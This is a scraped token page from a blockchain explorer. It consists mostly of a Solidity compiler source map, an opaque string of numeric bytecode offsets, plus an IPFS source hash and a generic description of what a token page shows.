;;;;;;;;;;;;;;;;;:::i;:::-;;;;11892:332;;:::o;9933:219::-;10048:4;;10012:7;;-1:-1:-1;;;;;10048:4:0;;;10035:17;;;;10032:38;;-1:-1:-1;10061:7:0;;10054:14;;10032:38;10093:4;;-1:-1:-1;;;;;10093:4:0;;;10083:14;;;;10080:36;;-1:-1:-1;10106:8:0;;10099:15;;10080:36;-1:-1:-1;10133:11:0;;9933:219;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:316::-;2584:6;2592;2600;2653:2;2641:9;2632:7;2628:23;2624:32;2621:52;;;2669:1;2666;2659:12;2621:52;-1:-1:-1;;2692:23:1;;;2762:2;2747:18;;2734:32;;-1:-1:-1;2813:2:1;2798:18;;;2785:32;;2507:316;-1:-1:-1;2507:316:1:o;2828:592::-;2941:6;2949;2957;2965;2973;2981;2989;3042:3;3030:9;3021:7;3017:23;3013:33;3010:53;;;3059:1;3056;3049:12;3010:53;-1:-1:-1;;3082:23:1;;;3152:2;3137:18;;3124:32;;-1:-1:-1;3203:2:1;3188:18;;3175:32;;3254:2;3239:18;;3226:32;;-1:-1:-1;3305:3:1;3290:19;;3277:33;;-1:-1:-1;3357:3:1;3342:19;;3329:33;;-1:-1:-1;3409:3:1;3394:19;3381:33;;-1:-1:-1;2828:592:1;-1:-1:-1;2828:592:1:o;3425:388::-;3493:6;3501;3554:2;3542:9;3533:7;3529:23;3525:32;3522:52;;;3570:1;3567;3560:12;3522:52;3609:9;3596:23;3628:31;3653:5;3628:31;:::i;:::-;3678:5;-1:-1:-1;3735:2:1;3720:18;;3707:32;3748:33;3707:32;3748:33;:::i;:::-;3800:7;3790:17;;;3425:388;;;;;:::o;4078:329::-;4280:2;4262:21;;;4319:1;4299:18;;;4292:29;-1:-1:-1;;;4352:2:1;4337:18;;4330:36;4398:2;4383:18;;4078:329::o;6264:127::-;6325:10;6320:3;6316:20;6313:1;6306:31;6356:4;6353:1;6346:15;6380:4;6377:1;6370:15;6396:128;6463:9;;;6484:11;;;6481:37;;;6498:18;;:::i;8803:125::-;8868:9;;;8889:10;;;8886:36;;;8902:18;;:::i;8933:168::-;9006:9;;;9037;;9054:15;;;9048:22;;9034:37;9024:71;;9075:18;;:::i;9106:217::-;9146:1;9172;9162:132;;9216:10;9211:3;9207:20;9204:1;9197:31;9251:4;9248:1;9241:15;9279:4;9276:1;9269:15;9162:132;-1:-1:-1;9308:9:1;;9106:217::o;9460:127::-;9521:10;9516:3;9512:20;9509:1;9502:31;9552:4;9549:1;9542:15;9576:4;9573:1;9566:15;9592:251;9662:6;9715:2;9703:9;9694:7;9690:23;9686:32;9683:52;;;9731:1;9728;9721:12;9683:52;9763:9;9757:16;9782:31;9807:5;9782:31;:::i;9848:980::-;10110:4;10158:3;10147:9;10143:19;10189:6;10178:9;10171:25;10215:2;10253:6;10248:2;10237:9;10233:18;10226:34;10296:3;10291:2;10280:9;10276:18;10269:31;10320:6;10355;10349:13;10386:6;10378;10371:22;10424:3;10413:9;10409:19;10402:26;;10463:2;10455:6;10451:15;10437:29;;10484:1;10494:195;10508:6;10505:1;10502:13;10494:195;;;10573:13;;-1:-1:-1;;;;;10569:39:1;10557:52;;10664:15;;;;10629:12;;;;10605:1;10523:9;10494:195;;;-1:-1:-1;;;;;;;10745:32:1;;;;10740:2;10725:18;;10718:60;-1:-1:-1;;;10809:3:1;10794:19;10787:35;10706:3;9848:980;-1:-1:-1;;;9848:980:1:o;11445:306::-;11533:6;11541;11549;11602:2;11590:9;11581:7;11577:23;11573:32;11570:52;;;11618:1;11615;11608:12;11570:52;11647:9;11641:16;11631:26;;11697:2;11686:9;11682:18;11676:25;11666:35;;11741:2;11730:9;11726:18;11720:25;11710:35;;11445:306;;;;;:::o

Swarm Source

ipfs://ab558df360fffcbfba2fcdaee58d24558fd73930d0effef8e07245d005f256e0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.